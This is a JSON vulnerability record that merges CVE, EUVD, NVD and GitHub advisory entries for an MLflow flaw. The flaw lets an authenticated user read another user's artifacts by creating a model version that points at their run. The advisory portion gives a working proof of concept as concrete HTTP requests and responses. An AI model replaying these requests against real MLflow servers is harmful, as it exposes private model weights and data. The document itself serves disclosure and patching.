{"id":"BIT-mlflow-2026-69148","revision":null,"records":[{"revision":"a55e57dca6064caa8dd76fb13aa467c1","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-69148","aliases":[],"title":"MLflow: CreateModelVersion source validation does not check READ permission on referenced run_id","description":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Prior to 3.15.0, CreateModelVersion accepts a run_id or model_id after _validate_source_run() or _validate_source_model() in mlflow/server/handlers.py verifies only path containment, allowing authenticated users to create a model version that references another user's artifact directory and read files through GET /model-versions/get-artifact without the required READ permission. This issue is fixed in version 3.15.0.","state":0,"publishedAt":"2026-08-17T21:21:10.279+00:00","modifiedAt":"2026-08-18T13:15:58.164+00:00","affected":[{"ecosystem":"Vendor product","name":"mlflow","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"mlflow\",\n                    \"product\": \"mlflow\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.15.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","score":7.1,"severity":"HIGH"}],"references":["https://github.com/mlflow/mlflow/security/advisories/GHSA-gqch-g4w5-7qcw","https://github.com/mlflow/mlflow/pull/24293","https://github.com/mlflow/mlflow/commit/4bb7474771c3be808cd9e129defef9305f2869be","https://github.com/mlflow/mlflow/releases/tag/v3.15.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-69148","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-69148","identifiers":["CVE-2026-69148"]},"retained":false,"historicalAffected":[]},{"revision":"0feab58337454c7da8bd5178ba41cdec","observedAt":"2026-11-11T16:00:10.896+00:00","statement":{"source":"euvd","id":"EUVD-2026-60474","aliases":["CVE-2026-69148","GHSA-gqch-g4w5-7qcw"],"title":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Prior to 3.15.0, CreateModelVersion accepts a run_id or model_id after _validate_source_run() or _validate_source_model() in ml…","description":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Prior to 3.15.0, CreateModelVersion accepts a run_id or model_id after _validate_source_run() or _validate_source_model() in mlflow/server/handlers.py verifies only path containment, allowing authenticated users to create a model version that references another user's artifact directory and read files through GET /model-versions/get-artifact without the required READ permission. This issue is fixed in version 3.15.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","score":7.1,"severity":null}],"references":["https://github.com/mlflow/mlflow/security/advisories/GHSA-gqch-g4w5-7qcw","https://github.com/mlflow/mlflow/pull/24293","https://github.com/mlflow/mlflow/commit/4bb7474771c3be808cd9e129defef9305f2869be","https://github.com/mlflow/mlflow/releases/tag/v3.15.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-60474","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 17, 2026, 9:21:10 PM","dateUpdated":"Aug 18, 2026, 1:15:58 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-60474","identifiers":["EUVD-2026-60474","CVE-2026-69148","GHSA-gqch-g4w5-7qcw"]},"retained":false,"historicalAffected":[]},{"revision":"379a56197613414f97c2621cce8ee3a9","observedAt":"2026-10-25T15:18:51.467+00:00","statement":{"source":"nvd","id":"CVE-2026-69148","aliases":[],"title":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Prior to 3.15.0, CreateModelVersion accepts a run_id or model_id after _validate_source_run() or _validate_source_model() in ml…","description":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Prior to 3.15.0, CreateModelVersion accepts a run_id or model_id after _validate_source_run() or _validate_source_model() in mlflow/server/handlers.py verifies only path containment, allowing authenticated users to create a model version that references another user's artifact directory and read files through GET /model-versions/get-artifact without the required READ permission. This issue is fixed in version 3.15.0.","state":0,"publishedAt":"2026-08-17T22:17:26.38+00:00","modifiedAt":"2026-09-18T20:05:53.723+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","score":7.1,"severity":"HIGH"}],"references":["https://github.com/mlflow/mlflow/commit/4bb7474771c3be808cd9e129defef9305f2869be","https://github.com/mlflow/mlflow/pull/24293","https://github.com/mlflow/mlflow/releases/tag/v3.15.0","https://github.com/mlflow/mlflow/security/advisories/GHSA-gqch-g4w5-7qcw"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69148","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-862"],"productCriteria":[],"sourceDates":{"published":"2026-08-17T22:17:26.380","lastModified":"2026-09-18T20:05:53.723"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-69148","identifiers":["CVE-2026-69148"]},"retained":false,"historicalAffected":[]},{"revision":"96339ee72b114db696c9734c4eab62c2","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-gqch-g4w5-7qcw","aliases":["BIT-mlflow-2026-69148","CVE-2026-69148"],"title":"MLflow: CreateModelVersion source validation does not check READ permission on referenced run_id","description":"### Summary\n\nThe `_validate_source_run` and `_validate_source_model` functions in `mlflow/server/handlers.py` verify that a model version source path is within the artifact directory of a specified run or logged model, but do not check whether the caller has READ permission on that run or model. An authenticated MLflow user can therefore reference another user's run_id in `CreateModelVersion`, creating a model version whose artifact URI points at the victim's artifact directory. If the calling user has MANAGE permission on the registered model (which they do after creation), they can then read arbitrary files from the victim's artifact directory via `GET /model-versions/get-artifact`, bypassing the experiment-level READ permission gate on `GET /get-artifact`.\n\n### Details\n\n`POST /api/2.0/mlflow/model-versions/create` is protected: the caller must have UPDATE permission on the registered model. However, the source/run_id validation performed inside `_validate_source_run` only verifies path containment, not caller authorization:\n\n```python\n# mlflow/server/handlers.py  _validate_source_run()\ndef _validate_source_run(source: str, run_id: str) -> None:\n    if is_local_uri(source):\n        if run_id:\n            store = _get_tracking_store()\n            run = store.get_run(run_id)          # <-- no permission check on run_id\n            source = pathlib.Path(local_file_uri_to_path(source)).resolve()\n            if is_local_uri(run.info.artifact_uri):\n                run_artifact_dir = pathlib.Path(...).resolve()\n                if run_artifact_dir in [source, *source.parents]:\n                    return                       # validation passes\n        raise MlflowException(...)\n```\n\nAfter creation, the model version's `source` and `run_id` point at the victim's artifact directory. The caller can read files from that directory via the model version artifact handler, which derives the artifact path from the stored `source`:\n\n```\nGET /model-versions/get-artifact?name=<model>&version=<v>&path=<file>\n```\n\nThis bypass matters in deployments where experiment-level permissions are explicitly restricted -- i.e., where the default_permission is NO_PERMISSIONS or the target experiment has no grant for the attacker. Without the bypass, `GET /get-artifact` for the victim's run would return 403; via the model version artifact handler it returns 200.\n\n### PoC\n\nPrerequisites: MLflow v3.13.0, `--app-name basic-auth`, default_permission=NO_PERMISSIONS (or alice's experiment restricted). Alice owns experiment 2 and run ALICE_RUN_ID. Bob owns experiment 4. Bob has READ on his own resources but NOT on alice's experiment.\n\n1. Alice uploads a private file:\n\n```bash\n# file is at /mlruns/2/ALICE_RUN_ID/artifacts/secret_weights.txt\necho \"ALICE_SECRET_MODEL_WEIGHTS=0.42\" > secret_weights.txt\n```\n\n2. Bob directly tries to read alice's artifact -- blocked:\n\n```\nGET /get-artifact?run_id=ALICE_RUN_ID&path=secret_weights.txt HTTP/1.1\nAuthorization: Basic <bob credentials>\n```\n\nResponse: HTTP 403 (when alice's experiment is private)\n\n3. Bob creates a model version referencing alice's run_id as source anchor:\n\n```\nPOST /api/2.0/mlflow/model-versions/create HTTP/1.1\nAuthorization: Basic <bob credentials>\nContent-Type: application/json\n\n{\"name\":\"bob-model\",\"source\":\"/mlruns/2/ALICE_RUN_ID/artifacts\",\"run_id\":\"ALICE_RUN_ID\"}\n```\n\nResponse: HTTP 200\n```json\n{\"model_version\":{\"name\":\"bob-model\",\"version\":\"1\",\"source\":\"/mlruns/2/ALICE_RUN_ID/artifacts\",\"run_id\":\"ALICE_RUN_ID\"}}\n```\n\n4. Bob reads alice's private file via the model version artifact handler:\n\n```\nGET /model-versions/get-artifact?name=bob-model&version=1&path=secret_weights.txt HTTP/1.1\nAuthorization: Basic <bob credentials>\n```\n\nResponse: HTTP 200 -- body contains `ALICE_SECRET_MODEL_WEIGHTS=0.42`\n\nLive-validated on v3.13.0 with default_permission=READ (the file download is confirmed 200 OK); impact escalates to a true bypass when default_permission=NO_PERMISSIONS.\n\n### Impact\n\nAn authenticated user who can create registered models can read arbitrary files from any other user's artifact directory, bypassing the experiment-level READ permission gate. Model weights, training data samples, and evaluation reports stored in a run's artifact directory are accessible. The attacker needs UPDATE (or MANAGE) permission on at least one registered model; with default_permission=READ, that is automatically granted to the model creator.","state":0,"publishedAt":"2026-08-17T21:59:09+00:00","modifiedAt":"2026-08-21T09:25:54.585206+00:00","affected":[{"ecosystem":"npm","name":"mlflow","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.15.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/mlflow/mlflow/security/advisories/GHSA-gqch-g4w5-7qcw","https://github.com/mlflow/mlflow/pull/24293","https://github.com/mlflow/mlflow/commit/4bb7474771c3be808cd9e129defef9305f2869be","https://github.com/mlflow/mlflow","https://github.com/mlflow/mlflow/releases/tag/v3.15.0"],"sourceUrl":"https://github.com/advisories/GHSA-gqch-g4w5-7qcw","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-gqch-g4w5-7qcw","identifiers":["GHSA-gqch-g4w5-7qcw","BIT-mlflow-2026-69148","CVE-2026-69148"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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Not a global EPSS backfill.","generation":"2026-11-13T03:19:40.5269590+00:00","complete":true,"records":1123,"lastAttemptAt":"2026-11-13T03:19:40.526959+00:00","lastSuccessAt":"2026-11-13T03:19:40.6892892+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:19:40.6892894+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. 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